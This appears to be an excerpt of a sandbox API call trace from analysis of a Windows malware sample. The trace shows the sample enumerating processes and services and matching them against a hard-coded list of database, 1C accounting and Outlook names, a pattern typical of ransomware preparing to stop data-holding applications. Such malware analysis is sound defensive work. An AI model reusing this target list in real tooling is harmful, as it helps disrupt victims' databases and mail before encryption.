7 [0063.065] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.065] lstrlenW (lpString="conhost.exe") returned 11 [0063.065] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.066] lstrlenW (lpString="vssadmin.exe") returned 12 [0063.066] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.066] lstrlenW (lpString="VSSVC.exe") returned 9 [0063.066] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0063.067] CloseHandle (hObject=0x198) returned 1 [0063.067] Sleep (dwMilliseconds=0x1f4) [0063.865] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626c58 [0063.866] EnumServicesStatusExW (in: hSCManager=0x626c58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0063.867] GetLastError () returned 0xea [0063.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x123e) returned 0x628500 [0063.867] EnumServicesStatusExW (in: hSCManager=0x626c58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0063.868] CloseServiceHandle (hSCObject=0x626c58) returned 1 [0063.869] lstrlenW (lpString="Appinfo") returned 7 [0063.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.869] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.869] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.869] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.869] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.869] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.869] lstrlenW (lpString="AudioSrv") returned 8 [0063.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0063.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0063.869] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0063.869] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0063.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0063.869] lstrlenW (lpString="BFE") returned 3 [0063.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.869] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.869] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.869] lstrlenW (lpString="CryptSvc") returned 8 [0063.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.869] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.869] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.870] lstrlenW (lpString="CscService") returned 10 [0063.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0063.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0063.870] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0063.870] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0063.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0063.870] lstrlenW (lpString="DcomLaunch") returned 10 [0063.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.870] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.870] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.870] lstrlenW (lpString="Dhcp") returned 4 [0063.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.870] lstrlenW (lpString="Dnscache") returned 8 [0063.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.870] lstrlenW (lpString="DPS") returned 3 [0063.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.870] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.871] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.871] lstrlenW (lpString="eventlog") returned 8 [0063.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0063.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0063.871] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0063.871] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0063.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0063.871] lstrlenW (lpString="EventSystem") returned 11 [0063.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.871] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.871] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.871] lstrlenW (lpString="gpsvc") returned 5 [0063.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.871] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.871] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.871] lstrlenW (lpString="iphlpsvc") returned 8 [0063.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.871] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.871] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.871] lstrlenW (lpString="LanmanServer") returned 12 [0063.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.871] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.871] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.871] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.872] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.872] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.872] lstrlenW (lpString="lmhosts") returned 7 [0063.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.872] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.872] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.872] lstrlenW (lpString="MMCSS") returned 5 [0063.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0063.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0063.872] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0063.872] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0063.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0063.872] lstrlenW (lpString="MpsSvc") returned 6 [0063.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.872] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.872] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.872] lstrlenW (lpString="Netman") returned 6 [0063.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0063.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0063.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0063.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0063.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0063.872] lstrlenW (lpString="netprofm") returned 8 [0063.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.872] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.872] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.872] lstrlenW (lpString="NlaSvc") returned 6 [0063.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.873] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.873] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.873] lstrlenW (lpString="nsi") returned 3 [0063.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.873] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.873] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.873] lstrlenW (lpString="PcaSvc") returned 6 [0063.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.873] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.873] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.873] lstrlenW (lpString="PlugPlay") returned 8 [0063.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.873] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.873] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.873] lstrlenW (lpString="Power") returned 5 [0063.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.873] lstrlenW (lpString="ProfSvc") returned 7 [0063.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.873] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.873] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.873] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.874] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.874] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.874] lstrlenW (lpString="RpcSs") returned 5 [0063.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.874] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.874] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.874] lstrlenW (lpString="SamSs") returned 5 [0063.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.874] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.874] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.874] lstrlenW (lpString="Schedule") returned 8 [0063.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.874] lstrlenW (lpString="SENS") returned 4 [0063.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.874] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.874] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.874] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.874] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.874] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.874] lstrlenW (lpString="Spooler") returned 7 [0063.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.875] lstrlenW (lpString="SysMain") returned 7 [0063.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0063.875] lstrlenW (lpString="Themes") returned 6 [0063.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0063.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0063.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0063.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0063.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0063.875] lstrlenW (lpString="TrkWks") returned 6 [0063.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0063.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0063.875] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0063.875] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0063.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0063.875] lstrlenW (lpString="UxSms") returned 5 [0063.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0063.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0063.875] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0063.875] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0063.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0063.875] lstrlenW (lpString="VSS") returned 3 [0063.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0063.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0063.875] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0063.875] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0063.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0063.875] lstrlenW (lpString="WdiServiceHost") returned 14 [0063.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.876] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0063.876] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0063.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0063.876] lstrlenW (lpString="WdiSystemHost") returned 13 [0063.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.876] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0063.876] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0063.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0063.876] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0063.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.876] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0063.876] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0063.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0063.876] lstrlenW (lpString="Winmgmt") returned 7 [0063.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0063.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0063.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0063.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0063.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0063.876] lstrlenW (lpString="WPDBusEnum") returned 10 [0063.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.876] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0063.876] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0063.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0063.876] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0063.876] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0063.957] Process32FirstW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.958] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.958] lstrlenW (lpString="System") returned 6 [0063.958] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0063.958] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0063.958] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0063.958] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0063.958] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0063.958] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0063.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0063.959] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.959] lstrlenW (lpString="smss.exe") returned 8 [0063.959] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0063.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0063.959] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0063.959] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0063.959] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0063.959] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0063.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0063.959] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.960] lstrlenW (lpString="csrss.exe") returned 9 [0063.960] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0063.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0063.960] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0063.960] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0063.960] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0063.960] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0063.960] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 